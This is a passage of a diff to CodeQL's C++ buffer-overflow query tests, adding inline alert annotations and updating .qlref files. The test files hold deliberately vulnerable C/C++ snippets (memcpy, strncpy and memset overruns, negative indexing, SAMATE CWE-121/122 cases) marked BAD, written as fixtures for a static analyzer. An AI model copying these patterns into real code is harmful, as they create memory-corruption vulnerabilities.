size, char *buf, unsigned anotherSize) { } if(anotherSize <= str->size + 1) { - strncpy(str->string, buf, anotherSize); // BAD + strncpy(str->string, buf, anotherSize); // BAD // $ Alert[cpp/overrun-write] } if(anotherSize <= size + 1) { - strncpy(str->string, buf, anotherSize); // BAD + strncpy(str->string, buf, anotherSize); // BAD // $ Alert[cpp/overrun-write] } if(anotherSize <= str->size + 2) { - strncpy(str->string, buf, anotherSize); // BAD + strncpy(str->string, buf, anotherSize); // BAD // $ Alert[cpp/overrun-write] } if(anotherSize <= size + 2) { - strncpy(str->string, buf, anotherSize); // BAD + strncpy(str->string, buf, anotherSize); // BAD // $ Alert[cpp/overrun-write] } } @@ -238,16 +238,16 @@ void set_string(string_t* p_str, char* buffer) { void test_flow_through_setter(unsigned size) { string_t str; - char* buffer = (char*)malloc(size); + char* buffer = (char*)malloc(size); // $ Source[cpp/overrun-write] set_string(&str, buffer); - memset(str.string, 0, size + 1); // BAD + memset(str.string, 0, size + 1); // BAD // $ Alert[cpp/overrun-write] } void* my_alloc(unsigned size); void foo(unsigned size) { - int* p = (int*)my_alloc(size); // BAD - memset(p, 0, size + 1); + int* p = (int*)my_alloc(size); // BAD // $ Source[cpp/overrun-write] + memset(p, 0, size + 1); // $ Alert[cpp/overrun-write] } void test6(unsigned long n, char *p) { @@ -259,11 +259,11 @@ void test6(unsigned long n, char *p) { } void test7(unsigned n) { - char* p = (char*)malloc(n); + char* p = (char*)malloc(n); // $ Source[cpp/overrun-write] if(!p) { p = (char*)malloc(++n); } - memset(p, 0, n); // GOOD [FALSE POSITIVE] + memset(p, 0, n); // GOOD [FALSE POSITIVE] // $ Alert[cpp/overrun-write] } void test8(unsigned size, unsigned src_pos) diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/tests.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/tests.cpp index 61b69d951858..1806be58d7d6 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/tests.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-119/SAMATE/tests.cpp @@ -168,8 +168,8 @@ void CWE122_Heap_Based_Buffer_Overflow__c_CWE805_char_memcpy_01_bad() memset(source, 'C', 100-1); /* fill with 'C's */ source[100-1] = '\0'; /* null terminate */ /* POTENTIAL FLAW: Possible buffer overflow if source is larger than data */ - memcpy(data, source, 100*sizeof(char)); - data[100-1] = '\0'; /* Ensure the destination buffer is null terminated */ + memcpy(data, source, 100*sizeof(char)); // $ Alert[cpp/overflow-buffer] + data[100-1] = '\0'; /* Ensure the destination buffer is null terminated */ // $ Alert[cpp/overflow-buffer] printLine(data); free(data); } @@ -189,8 +189,8 @@ void CWE121_Stack_Based_Buffer_Overflow__CWE805_char_declare_memcpy_01_bad() memset(source, 'C', 100-1); /* fill with 'C's */ source[100-1] = '\0'; /* null terminate */ /* POTENTIAL FLAW: Possible buffer overflow if the size of data is less than the length of source */ - memcpy(data, source, 100*sizeof(char)); - data[100-1] = '\0'; /* Ensure the destination buffer is null terminated */ + memcpy(data, source, 100*sizeof(char)); // $ Alert[cpp/overflow-buffer] + data[100-1] = '\0'; /* Ensure the destination buffer is null terminated */ // $ Alert[cpp/overflow-buffer] printLine(data); } } @@ -209,8 +209,8 @@ void CWE121_Stack_Based_Buffer_Overflow__CWE805_char_alloca_memcpy_01_bad() memset(source, 'C', 100-1); /* fill with 'C's */ source[100-1] = '\0'; /* null terminate */ /* POTENTIAL FLAW: Possible buffer overflow if the size of data is less than the length of source */ - memcpy(data, source, 100*sizeof(char)); - data[100-1] = '\0'; /* Ensure the destination buffer is null terminated */ + memcpy(data, source, 100*sizeof(char)); // $ Alert[cpp/overflow-buffer] + data[100-1] = '\0'; /* Ensure the destination buffer is null terminated */ // $ Alert[cpp/overflow-buffer] printLine(data); } } @@ -234,7 +234,7 @@ void CWE121_Stack_Based_Buffer_Overflow__CWE805_char_alloca_loop_01_bad() { data[i] = source[i]; } - data[100-1] = '\0'; /* Ensure the destination buffer is null terminated */ + data[100-1] = '\0'; /* Ensure the destination buffer is null terminated */ // $ Alert[cpp/overflow-buffer] printLine(data); } } @@ -258,7 +258,7 @@ void CWE121_Stack_Based_Buffer_Overflow__CWE805_char_declare_loop_01_bad() { data[i] = source[i]; } - data[100-1] = '\0'; /* Ensure the destination buffer is null terminated */ + data[100-1] = '\0'; /* Ensure the destination buffer is null terminated */ // $ Alert[cpp/overflow-buffer] printLine(data); } } @@ -287,7 +287,7 @@ namespace CWE122_Heap_Based_Buffer_Overflow__cpp_CWE193_wchar_t_ncpy_01 wchar_t source[10+1] = SRC_STRING; /* Copy length + 1 to include NUL terminator from source */ /* POTENTIAL FLAW: data may not have enough space to hold source */ - wcsncpy(data, source, wcslen(source) + 1); + wcsncpy(data, source, wcslen(source) + 1); // $ Alert[cpp/bad-strncpy-size] printWLine(data); delete [] data; } @@ -303,7 +303,7 @@ namespace CWE122_Heap_Based_Buffer_Overflow__cpp_CWE193_wchar_t_ncpy_01 wchar_t source[10+1] = SRC_STRING; /* Copy length + 1 to include NUL terminator from source */ /* POTENTIAL FLAW: data may not have enough space to hold source */ - wcsncpy(data, source, wcslen(source) + 1); // [FALSE POSITIVE RESULT] (debatable) + wcsncpy(data, source, wcslen(source) + 1); // [FALSE POSITIVE RESULT] (debatable) // $ Alert[cpp/bad-strncpy-size] printWLine(data); delete [] data; } @@ -347,7 +347,7 @@ namespace CWE122_Heap_Based_Buffer_Overflow__cpp_CWE805_char_ncat_01 memset(source, 'C', 100-1); /* fill with 'C's */ source[100-1] = '\0'; /* null terminate */ /* POTENTIAL FLAW: Possible buffer overflow if source is larger than sizeof(data)-strlen(data) */ - strncat(data, source, 100); + strncat(data, source, 100); // $ Alert[cpp/badly-bounded-write] printLine(data); delete [] data; } @@ -381,7 +381,7 @@ void CWE121_Stack_Based_Buffer_Overflow__CWE131_memcpy_01_bad() { int source[10] = {0}; /* POTENTIAL FLAW: Possible buffer overflow if data was not allocated correctly in the source */ - memcpy(data, source, 10*sizeof(int)); + memcpy(data, source, 10*sizeof(int)); // $ Alert[cpp/overflow-buffer] printIntLine(data[0]); } } @@ -431,7 +431,7 @@ void CWE122_Heap_Based_Buffer_Overflow__cpp_CWE805_wchar_t_loop_01_bad() { data[i] = source[i]; } - data[100-1] = L'\0'; /* Ensure the destination buffer is null terminated */ + data[100-1] = L'\0'; /* Ensure the destination buffer is null terminated */ // $ Alert[cpp/overflow-buffer] printWLine(data); delete [] data; } @@ -449,8 +449,8 @@ void CWE122_Heap_Based_Buffer_Overflow__cpp_CWE805_wchar_t_ncpy_01_bad() wmemset(source, L'C', 100-1); /* fill with L'C's */ source[100-1] = L'\0'; /* null terminate */ /* POTENTIAL FLAW: Possible buffer overflow if source is larger than data */ - wcsncpy(data, source, 100-1); - data[100-1] = L'\0'; /* Ensure the destination buffer is null terminated */ + wcsncpy(data, source, 100-1); // $ Alert[cpp/bad-strncpy-size] Alert[cpp/badly-bounded-write] + data[100-1] = L'\0'; /* Ensure the destination buffer is null terminated */ // $ Alert[cpp/overflow-buffer] printWLine(data); delete [] data; } @@ -478,7 +478,7 @@ void CWE122_Heap_Based_Buffer_Overflow__cpp_CWE805_wchar_t_snprintf_01_bad() wmemset(source, L'C', 100-1); /* fill with L'C's */ source[100-1] = L'\0'; /* null terminate */ /* POTENTIAL FLAW: Possible buffer overflow if source is larger than data */ - SNPRINTF(data, 100, L"%s", source); + SNPRINTF(data, 100, L"%s", source); // $ Alert[cpp/badly-bounded-write] printWLine(data); delete [] data; } @@ -627,7 +627,7 @@ void CWE122_Heap_Based_Buffer_Overflow__cpp_CWE805_wchar_t_snprintf_31_bad() wmemset(source, L'C', 100-1); /* fill with L'C's */ source[100-1] = L'\0'; /* null terminate */ /* POTENTIAL FLAW: Possible buffer overflow if source is larger than data */ - SNPRINTF(data, 100, L"%s", source); + SNPRINTF(data, 100, L"%s", source); // $ Alert[cpp/badly-bounded-write] printWLine(data); delete [] data; } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/BadlyBoundedWrite.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/BadlyBoundedWrite.qlref index 9636c74d0a8f..76b6e5900218 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/BadlyBoundedWrite.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/BadlyBoundedWrite.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-120/BadlyBoundedWrite.ql \ No newline at end of file +query: Security/CWE/CWE-120/BadlyBoundedWrite.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/OffsetUseBeforeRangeCheck.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/OffsetUseBeforeRangeCheck.qlref index d934901f174f..0e9b8f83382e 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/OffsetUseBeforeRangeCheck.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/OffsetUseBeforeRangeCheck.qlref @@ -1 +1,2 @@ -Best Practices/Likely Errors/OffsetUseBeforeRangeCheck.ql \ No newline at end of file +query: Best Practices/Likely Errors/OffsetUseBeforeRangeCheck.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/OverflowBuffer.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/OverflowBuffer.qlref index 5c2bacec579f..bb308ea4b215 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/OverflowBuffer.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/OverflowBuffer.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-119/OverflowBuffer.ql \ No newline at end of file +query: Security/CWE/CWE-119/OverflowBuffer.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/OverflowDestination.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/OverflowDestination.qlref index a4213e22fcd7..0e0d1d3792de 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/OverflowDestination.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/OverflowDestination.qlref @@ -1 +1,2 @@ -Critical/OverflowDestination.ql \ No newline at end of file +query: Critical/OverflowDestination.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/OverflowStatic.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/OverflowStatic.qlref index 9ff1c3b33dc5..93d88e7802a0 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/OverflowStatic.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/OverflowStatic.qlref @@ -1 +1,2 @@ -Critical/OverflowStatic.ql \ No newline at end of file +query: Critical/OverflowStatic.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/OverrunWrite.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/OverrunWrite.qlref index f6c962c1a7b4..18ae0f2a567b 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/OverrunWrite.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/OverrunWrite.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-120/OverrunWrite.ql \ No newline at end of file +query: Security/CWE/CWE-120/OverrunWrite.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/OverrunWriteFloat.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/OverrunWriteFloat.qlref index 757d1592e830..ba8f6a96a1fd 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/OverrunWriteFloat.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/OverrunWriteFloat.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-120/OverrunWriteFloat.ql \ No newline at end of file +query: Security/CWE/CWE-120/OverrunWriteFloat.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/StrncpyFlippedArgs.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/StrncpyFlippedArgs.qlref index bf0bf1ea7d05..3a2ef158d3d6 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/StrncpyFlippedArgs.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/StrncpyFlippedArgs.qlref @@ -1 +1,2 @@ -Likely Bugs/Memory Management/StrncpyFlippedArgs.ql \ No newline at end of file +query: Likely Bugs/Memory Management/StrncpyFlippedArgs.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/UnboundedWrite.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/UnboundedWrite.qlref index 767f2ea4db9d..36c47957d339 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/UnboundedWrite.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/UnboundedWrite.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-120/UnboundedWrite.ql \ No newline at end of file +query: Security/CWE/CWE-120/UnboundedWrite.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/VeryLikelyOverrunWrite.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/VeryLikelyOverrunWrite.qlref index 94b53951c4b7..8dcc2f70c2f6 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/VeryLikelyOverrunWrite.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/VeryLikelyOverrunWrite.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-120/VeryLikelyOverrunWrite.ql \ No newline at end of file +query: Security/CWE/CWE-120/VeryLikelyOverrunWrite.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/main.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/main.cpp index 78f94af22cfe..6f04206359cf 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/main.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/main.cpp @@ -3,7 +3,7 @@ int test_buffer_overrun_main(int argc, char **argv); int tests_restrict_main(int argc, char **argv); int tests_main(int argc, char **argv); -int main(int argc, char **argv) { +int main(int argc, char **argv) { // $ Source[cpp/overflow-destination] Source[cpp/unbounded-write] overflowdesination_main(argc, argv); test_buffer_overrun_main(argc, argv); tests_restrict_main(argc, argv); diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/overflowdestination.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/overflowdestination.cpp index 8b785b5a6620..5aa229610bce 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/overflowdestination.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/overflowdestination.cpp @@ -27,7 +27,7 @@ int overflowdesination_main(int argc, char* argv[]) { arg1 = argv[1]; //wrong: only uses the size of the source (argv[1]) when using strncpy - strncpy(param, arg1, strlen(arg1)); + strncpy(param, arg1, strlen(arg1)); // $ Alert[cpp/bad-strncpy-size] Alert[cpp/overflow-destination] //correct: uses the size of the destination array as well strncpy(param, arg1, min(strlen(arg1), sizeof(param) -1)); @@ -40,17 +40,17 @@ void overflowdest_test1(FILE *f) char dest[64]; char src[128]; - fgets(src, 128, f); // GOOD (taints `src`) + fgets(src, 128, f); // GOOD (taints `src`) // $ Source[cpp/overflow-destination] memcpy(dest, src, sizeof(dest)); // GOOD - memcpy(dest, src, sizeof(src)); // BAD: size derived from the source buffer + memcpy(dest, src, sizeof(src)); // BAD: size derived from the source buffer // $ Alert[cpp/overflow-buffer] Alert[cpp/overflow-destination] Alert[cpp/static-buffer-overflow] memcpy(dest, dest, sizeof(dest)); // GOOD } void overflowdest_test2(FILE *f, char *dest, char *src) { memcpy(dest, src, strlen(dest) + 1); // GOOD - memcpy(dest, src, strlen(src) + 1); // BAD: size derived from the source buffer + memcpy(dest, src, strlen(src) + 1); // BAD: size derived from the source buffer // $ Alert[cpp/overflow-destination] memcpy(dest, dest, strlen(dest) + 1); // GOOD } @@ -61,7 +61,7 @@ void overflowdest_test3(FILE *f, char *dest, char *src) char *src3 = src; memcpy(dest2, src2, strlen(dest2) + 1); // GOOD - memcpy(dest2, src2, strlen(src2) + 1); // BAD: size derived from the source buffer + memcpy(dest2, src2, strlen(src2) + 1); // BAD: size derived from the source buffer // $ Alert[cpp/overflow-destination] memcpy(dest2, dest2, strlen(dest2) + 1); // GOOD } @@ -70,7 +70,7 @@ void overflowdest_test23_caller(FILE *f) char dest[64]; char src[128]; - fgets(src, 128, f); // GOOD (taints `src`) + fgets(src, 128, f); // GOOD (taints `src`) // $ Source[cpp/overflow-destination] overflowdest_test2(f, dest, src); overflowdest_test3(f, dest, src); diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/tests.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/tests.cpp index 603d868258a9..60e26aca37fe 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/tests.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-119/semmle/tests/tests.cpp @@ -20,9 +20,9 @@ void test1() char bigbuffer[20]; memcpy(bigbuffer, smallbuffer, sizeof(smallbuffer)); // GOOD - memcpy(bigbuffer, smallbuffer, sizeof(bigbuffer)); // BAD: over-read + memcpy(bigbuffer, smallbuffer, sizeof(bigbuffer)); // BAD: over-read // $ Alert[cpp/overflow-buffer] memcpy(smallbuffer, bigbuffer, sizeof(smallbuffer)); // GOOD - memcpy(smallbuffer, bigbuffer, sizeof(bigbuffer)); // BAD: over-write + memcpy(smallbuffer, bigbuffer, sizeof(bigbuffer)); // BAD: over-write // $ Alert[cpp/overflow-buffer] Alert[cpp/static-buffer-overflow] } void test2() @@ -31,9 +31,9 @@ void test2() char *bigbuffer = (char *)malloc(sizeof(char) * 20); memcpy(bigbuffer, smallbuffer, sizeof(char) * 10); // GOOD - memcpy(bigbuffer, smallbuffer, sizeof(char) * 20); // BAD: over-read + memcpy(bigbuffer, smallbuffer, sizeof(char) * 20); // BAD: over-read // $ Alert[cpp/overflow-buffer] memcpy(smallbuffer, bigbuffer, sizeof(char) * 10); // GOOD - memcpy(smallbuffer, bigbuffer, sizeof(char) * 20); // BAD: over-write + memcpy(smallbuffer, bigbuffer, sizeof(char) * 20); // BAD: over-write // $ Alert[cpp/overflow-buffer] free(bigbuffer); free(smallbuffer); @@ -47,9 +47,9 @@ void test3() bigbuffer = new char[20]; memcpy(bigbuffer, smallbuffer, sizeof(char[10])); // GOOD - memcpy(bigbuffer, smallbuffer, sizeof(char[20])); // BAD: over-read + memcpy(bigbuffer, smallbuffer, sizeof(char[20])); // BAD: over-read // $ Alert[cpp/overflow-buffer] memcpy(smallbuffer, bigbuffer, sizeof(char[10])); // GOOD - memcpy(smallbuffer, bigbuffer, sizeof(char[20])); // BAD: over-write + memcpy(smallbuffer, bigbuffer, sizeof(char[20])); // BAD: over-write // $ Alert[cpp/overflow-buffer] delete [] bigbuffer; delete [] smallbuffer; @@ -160,8 +160,8 @@ void test6(bool cond) for (k = 0; k <= 100; k++) { - buffer[k] = 'x'; // BAD: over-write - ch = buffer[k]; // BAD: over-read + buffer[k] = 'x'; // BAD: over-write // $ Alert[cpp/static-buffer-overflow] + ch = buffer[k]; // BAD: over-read // $ Alert[cpp/static-buffer-overflow] } } @@ -169,11 +169,11 @@ void test7() { char *names[] = {"tom", "dick", "harry"}; - printf("name: %s\n", names[-1]); // BAD: under-read + printf("name: %s\n", names[-1]); // BAD: under-read // $ Alert[cpp/overflow-buffer] printf("name: %s\n", names[0]); // GOOD printf("name: %s\n", names[1]); // GOOD printf("name: %s\n", names[2]); // GOOD - printf("name: %s\n", names[3]); // BAD: over-read + printf("name: %s\n", names[3]); // BAD: over-read // $ Alert[cpp/overflow-buffer] } void test8(int unbounded) @@ -219,16 +219,16 @@ void test9(int param) buffer4 = buffer3; memset(buffer1, 0, 32); // GOOD - memset(buffer1, 0, 33); // BAD: overrun write of buffer1 + memset(buffer1, 0, 33); // BAD: overrun write of buffer1 // $ Alert[cpp/overflow-buffer] memset(buffer2, 0, 32); // GOOD - memset(buffer2, 0, 33); // BAD: overrun write of buffer2 + memset(buffer2, 0, 33); // BAD: overrun write of buffer2 // $ Alert[cpp/overflow-buffer] memset(buffer3, 0, 32); // GOOD - memset(buffer3, 0, 33); // BAD: overrun write of buffer3 + memset(buffer3, 0, 33); // BAD: overrun write of buffer3 // $ Alert[cpp/overflow-buffer] memset(buffer4, 0, 32); // GOOD - memset(buffer4, 0, 33); // BAD: overrun write of buffer4 (buffer3) + memset(buffer4, 0, 33); // BAD: overrun write of buffer4 (buffer3) // $ Alert[cpp/overflow-buffer] memcmp(buffer1, buffer2, 32); // GOOD - memcmp(buffer1, buffer2, 33); // BAD: overrun read of buffer1, buffer2 + memcmp(buffer1, buffer2, 33); // BAD: overrun read of buffer1, buffer2 // $ Alert[cpp/overflow-buffer] } { @@ -236,13 +236,13 @@ void test9(int param) char *str2 = "abcdefgh"; strncpy(str1, str2, strlen(str1) + 1); // GOOD - strncpy(str1, str2, strlen(str2) + 1); // BAD: overrun write of str1 - strncpy(str2, str1, strlen(str1) + 1); // DUBIOUS (detected) + strncpy(str1, str2, strlen(str2) + 1); // BAD: overrun write of str1 // $ Alert[cpp/bad-strncpy-size] + strncpy(str2, str1, strlen(str1) + 1); // DUBIOUS (detected) // $ Alert[cpp/bad-strncpy-size] strncpy(str2, str1, strlen(str2) + 1); // BAD: overrun read of str1 [NOT REPORTED] } - memmove(global_array_6, global_array_5, 6); // BAD: overrun read of global_array_5 - memmove(global_array_5, global_array_6, 6); // BAD: overrun write of global_array_5 + memmove(global_array_6, global_array_5, 6); // BAD: overrun read of global_array_5 // $ Alert[cpp/overflow-buffer] + memmove(global_array_5, global_array_6, 6); // BAD: overrun write of global_array_5 // $ Alert[cpp/overflow-buffer] Alert[cpp/static-buffer-overflow] if (param > 0) { @@ -262,8 +262,8 @@ void test10() wmemset(buffer1, 0, 32); // GOOD - wmemset(buffer1, 0, 33); // BAD: overrun write of buffer1 - wmemset((wchar_t *)buffer2, 0, 32); // BAD: overrun write of buffer2 + wmemset(buffer1, 0, 33); // BAD: overrun write of buffer1 // $ Alert[cpp/overflow-buffer] + wmemset((wchar_t *)buffer2, 0, 32); // BAD: overrun write of buffer2 // $ Alert[cpp/overflow-buffer] } void test11() @@ -272,7 +272,7 @@ void test11() char *string = "Hello, world!"; memset(string, 0, 14); // GOOD - memset(string, 0, 15); // BAD: overrun write of string + memset(string, 0, 15); // BAD: overrun write of string // $ Alert[cpp/overflow-buffer] } { @@ -282,14 +282,14 @@ void test11() buffer = new char[64]; - memset(buffer, 0, 128); // BAD: overrun write of buffer + memset(buffer, 0, 128); // BAD: overrun write of buffer // $ Alert[cpp/overflow-buffer] } { char array[10] = "123"; memset(array, 0, 10); // GOOD - memset(array, 0, 11); // BAD: overrun write of array + memset(array, 0, 11); // BAD: overrun write of array // $ Alert[cpp/overflow-buffer] } } @@ -307,11 +307,11 @@ void test12() dbuf = new char[16]; memset(&myVar, 0, sizeof(myVar)); // GOOD - memset(&myVar, 0, sizeof(myVar) + 1); // BAD: overrun write of myVar + memset(&myVar, 0, sizeof(myVar) + 1); // BAD: overrun write of myVar // $ Alert[cpp/overflow-buffer] memset(myVar.buffer, 0, 16); // GOOD memset(myVar.buffer, 0, 17); // DUBIOUS: overrun write of myVar.buffer, but not out of myVar itself [NOT DETECTED] memset(&(myVar.field), 0, sizeof(int)); // GOOD - memset(&(myVar.field), 0, sizeof(int) * 2); // BAD: overrun write of myVar.field + memset(&(myVar.field), 0, sizeof(int) * 2); // BAD: overrun write of myVar.field // $ Alert[cpp/overflow-buffer] memset(buf + 8, 0, 8); // GOOD memset(buf + 8, 0, 9); // BAD: overrun write of buf [NOT DETECTED] @@ -345,33 +345,33 @@ void test13(char *argArray) char *ptrArray = charArray; char *ptrArrayOffset = charArray + 1; - charArray[-1] = 1; // BAD: underrun write + charArray[-1] = 1; // BAD: underrun write // $ Alert[cpp/overflow-buffer] charArray[0] = 1; // GOOD charArray[9] = 1; // GOOD - charArray[10] = 1; // BAD: overrun write - charArray[5] = charArray[10]; // BAD: overrun read + charArray[10] = 1; // BAD: overrun write // $ Alert[cpp/overflow-buffer] Alert[cpp/static-buffer-overflow] + charArray[5] = charArray[10]; // BAD: overrun read // $ Alert[cpp/overflow-buffer] Alert[cpp/static-buffer-overflow] - intArray[-1] = 1; // BAD: underrun write + intArray[-1] = 1; // BAD: underrun write // $ Alert[cpp/overflow-buffer] intArray[0] = 1; // GOOD intArray[9] = 1; // GOOD - intArray[10] = 1; // BAD: overrun write - intArray[5] = intArray[10]; // BAD: overrun read + intArray[10] = 1; // BAD: overrun write // $ Alert[cpp/overflow-buffer] + intArray[5] = intArray[10]; // BAD: overrun read // $ Alert[cpp/overflow-buffer] - structArray[-1].field = 1; // BAD: underrun write + structArray[-1].field = 1; // BAD: underrun write // $ Alert[cpp/overflow-buffer] structArray[0].field = 1; // GOOD structArray[9].field = 1; // GOOD - structArray[10].field = 1; // BAD: overrun write - structArray[5].field = structArray[10].field; // BAD: overrun read + structArray[10].field = 1; // BAD: overrun write // $ Alert[cpp/overflow-buffer] + structArray[5].field = structArray[10].field; // BAD: overrun read // $ Alert[cpp/overflow-buffer] charArray[9] = (char)intArray[9]; // GOOD - charArray[9] = (char)intArray[10]; // BAD: overrun read + charArray[9] = (char)intArray[10]; // BAD: overrun read // $ Alert[cpp/overflow-buffer] - ptrArray[-2] = 1; // BAD: underrun write - ptrArray[-1] = 1; // BAD: underrun write + ptrArray[-2] = 1; // BAD: underrun write // $ Alert[cpp/overflow-buffer] + ptrArray[-1] = 1; // BAD: underrun write // $ Alert[cpp/overflow-buffer] ptrArray[0] = 1; // GOOD ptrArray[8] = 1; // GOOD ptrArray[9] = 1; // GOOD - ptrArray[10] = 1; // BAD: overrun write + ptrArray[10] = 1; // BAD: overrun write // $ Alert[cpp/overflow-buffer] ptrArrayOffset[-2] = 1; // BAD: underrun write [NOT DETECTED] ptrArrayOffset[-1] = 1; // GOOD (there is room for this) @@ -391,10 +391,10 @@ void test13(char *argArray) buffer1[0] = 0xFFFF; buffer1[49] = 0xFFFF; - buffer1[50] = 0xFFFF; // BAD: overrun write + buffer1[50] = 0xFFFF; // BAD: overrun write // $ Alert[cpp/overflow-buffer] buffer2[0] = 0xFFFF; buffer2[49] = 0xFFFF; - buffer2[50] = 0xFFFF; // BAD: overrun write + buffer2[50] = 0xFFFF; // BAD: overrun write // $ Alert[cpp/overflow-buffer] } } @@ -464,7 +464,7 @@ void test17(long long *longArray) { int intArray[5]; - ((char *)intArray)[-3] = 0; // BAD: underrun write + ((char *)intArray)[-3] = 0; // BAD: underrun write // $ Alert[cpp/overflow-buffer] } { @@ -472,14 +472,14 @@ void test17(long long *longArray) multi[5][5] = 0; // GOOD - multi[-5][5] = 0; // BAD: underrun write [INCORRECT MESSAGE] + multi[-5][5] = 0; // BAD: underrun write [INCORRECT MESSAGE] // $ Alert[cpp/overflow-buffer] multi[5][-5] = 0; // DUBIOUS: underrun write (this one is still within the bounds of the whole array) - multi[-5][-5] = 0; // BAD: underrun write [INCORRECT MESSAGE] + multi[-5][-5] = 0; // BAD: underrun write [INCORRECT MESSAGE] // $ Alert[cpp/overflow-buffer] multi[0][-5] = 0; // BAD: underrun write [NOT DETECTED] - multi[15][5] = 0; // BAD: overrun write + multi[15][5] = 0; // BAD: overrun write // $ Alert[cpp/overflow-buffer] multi[5][15] = 0; // DUBIOUS: overrun write (this one is still within the bounds of the whole array) - multi[15][15] = 0; // BAD: overrun write + multi[15][15] = 0; // BAD: overrun write // $ Alert[cpp/overflow-buffer] } } @@ -494,22 +494,22 @@ void test18() char *p4 = (char *)malloc(128); char *p5 = (char *)malloc(128); - p1[-1] = 0; // BAD: underrun write - p2[-1] = 0; // BAD: underrun write + p1[-1] = 0; // BAD: underrun write // $ Alert[cpp/overflow-buffer] + p2[-1] = 0; // BAD: underrun write // $ Alert[cpp/overflow-buffer] p2++; p2[-1] = 0; // GOOD - p3[-1] = 0; // BAD + p3[-1] = 0; // BAD // $ Alert[cpp/overflow-buffer] while (*p3 != 0) { p3 = update(p3); } p3[-1] = 0; // GOOD - p4[-1] = 0; // BAD: underrun write + p4[-1] = 0; // BAD: underrun write // $ Alert[cpp/overflow-buffer] p4++; p4[-1] = 0; // GOOD - p5[-1] = 0; // BAD + p5[-1] = 0; // BAD // $ Alert[cpp/overflow-buffer] while (*p5 != 0) { p5 = update(p5); } @@ -537,7 +537,7 @@ void test19(bool b) if 